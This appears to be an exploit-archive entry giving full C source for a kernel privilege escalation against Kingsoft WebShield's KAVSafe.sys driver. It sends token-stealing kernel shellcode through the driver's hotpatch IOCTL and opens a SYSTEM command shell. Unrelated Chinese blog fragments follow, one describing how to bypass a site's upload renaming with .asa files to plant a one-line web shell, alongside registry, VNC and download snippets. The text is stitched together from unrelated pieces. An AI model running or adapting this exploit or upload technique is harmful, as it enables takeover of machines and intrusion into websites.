# Title: Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Priv. Escalation
# EDB-ID: 12710
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Xuanyuan Smart
# Published: 2010-05-23
# Verified: no
# Download Exploit Code
# Download N/A
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PVOID ImageBaseAddress; PVOID Ldr; struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters; } PEB, *PPEB; typedef LONG KPRIORITY; typedef struct _PROCESS_BASIC_INFORMATION { LONG ExitStatus; PVOID PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION; typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) ( LONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) typedef LONG (WINAPI *PNT_VDM_CONTROL) ( ULONG Service, PVOID ServiceData ); VOID __declspec(naked) R0ShellCodeXP() { __asm { mov eax,0xffdff124 mov eax,[eax] mov esi ,dword ptr[eax+0x220] mov eax,esi searchxp: mov eax,dword ptr[eax+0x88] sub eax,0x88 mov edx,dword ptr[eax+0x84] cmp edx,4 jnz searchxp mov eax,dword ptr[eax+0xc8] mov dword ptr[esi + 0xc8] , eax ret 8 } } VOID NopNop() { printf("nop!\n"); } #include "malloc.h" int main(int argc, char* argv[]) { printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n" "Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n" "2010-5-23\n" "By Lincoin \n\nPress Enter"); HKEY hkey ; WCHAR InstallPath[MAX_PATH]; DWORD datatype ; DWORD datasize = MAX_PATH * sizeof(WCHAR); ULONG oldlen ; PVOID pOldBufferData = NULL ; if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) == ERROR_SUCCESS) { if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS) { RegCloseKey(hkey); printf("KSWebShield not installed\n"); getchar(); return 0 ; } RegCloseKey(hkey); } else { printf("KSWebShield not installed\n"); getchar(); return 0 ; } wcscat(InstallPath , L"\\kavinst.exe"); PROCESS_BASIC_INFORMATION pbi ; PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ; pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess"); pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL); PPEB peb ; peb = (PPEB)pbi.PebBaseAddress; oldlen = peb->ProcessParameters->ImagePathName.Length; peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR); pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length); RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length); RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length ); HANDLE hdev = CreateFile("\\\\.\\KAVSafe" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0, OPEN_EXISTING , 0, 0); if (hdev==INVALID_HANDLE_VALUE) { printf("cannot open device %u\n", GetLastError()); getchar(); return 0 ; } RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length); peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ; PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation ; pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation"); X_SYSTEM_MODULE_INFORMATION sysmod ; HMODULE KernelHandle ; pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL); KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1); if (KernelHandle == 0 ) { printf("cannot load ntoskrnl!\n"); getchar(); return 0 ; } PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl"); if (pNtVdmControl == 0 ) { printf("cannot find NtVdmControl!\n"); getchar(); return 0 ; } pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle ); printf("NtVdmControl = %08x" , pNtVdmControl ); getchar(); ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP; ULONG pShellCode = (ULONG)R0ShellCodeXP; PVOID Data = malloc(0x48 + ShellCodeSize); CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize); CHAR ModuleName[68]= "ntoskrnl.exe" ; RtlCopyMemory( Data , ModuleName , sizeof(ModuleName)); *(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl; *(ULONG*)((ULONG)Data + 68) = ShellCodeSize ; ULONG btr ; if (!DeviceIoControl(hdev , IOCTL_HOTPATCH_KERNEL_MODULE , Data , 0x48 + ShellCodeSize , NULL , 0, &btr , 0 )) { printf("cannot device io control!%u\n" , GetLastError()); getchar(); return 0; } CloseHandle(hdev); PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl"); pR3NtVdmControl(0,0); WinExec("cmd.exe" , SW_SHOW); printf("OK!\n "); getchar(); return 0; } |
http://www.xxx.cn/admin/xpic.asp?b=a_Info1&c=PicS&d=106&e=PicS&f=src
例如这个咯..朋友发来的,后台瞅瞅真够简陋的,就不管了呵呵.
想办法利用上传和EWE吧.
恩 目前状况: EWE 数据库有 没有管理页面 2.8.0 的 翻看一次 无果
后台什么都没…悲剧
最终只能锁定在上传上,看能否突破了.
尝试上传 x.asp;x.jpg 失败 x.asp;#.jpg 出错
尝试上传 X.jpg 空文件 出错看来是有搞头的
因为上传是自动改名的,就必须想办法让他不改名呵呵.结果呢..处理ASA的时候有希望了..当尝试到ASA的时候竟然能够不改名了..哦天哪..
啥话不说 弄一张比较小的图片出来…为什么呢?为什么不直接写个一句话?
这里就要牵扯一些问题了.有兴趣的朋友自己看源码吧.
只说一些症状:如果上传只包含一句话的asa出错..包含汉字的文件名还是出错呵呵.不多说了.
只要保证文件名没有汉字,随便用Q截图弄个2平方厘米的图片,一句话放到最后,改下名字 比如 200000000.asa 上传吧..
最近奇怪了 遇到了好多类似的呵呵..
把以下内容拷贝到记事本里面,另存为sryptsvc.reg文件,注意后缀为.reg ,文件图标是注册表文件的图标,双击这该文件,导入注册表即可恢复缺少的cryptographic service 服务项,重启系统后恢复系统加密服务项.
漏洞分析:
文件./manyou/sources/notice.php
相关代码:
阅读全文…
RealVNC 是说支持文件传输的,可是默认情况下是不行的,解决方法很简单
选项—输入 然后选择自定义 默认即可勾选的即可.
下面VNC连接上去, 本地要想传什么上去?Ctrl+C VNC上 +V 即可
老东西了,不放上来了呵呵。以后只放新的
2.单人用户界面 (自己能进去造造东西熟悉操作了,没有电脑很遗憾)
国内网盘:
http://www.rayfile.com/zh-cn/files/28456733-21f6-11df-a44a-0015c55db73d/
国外网盘: (直接打开网页按照提示下载)
http://rs4.rapidshare.com/files/355367893/Battle.net.rar
呵呵 激动异常,效果图 阅读全文…

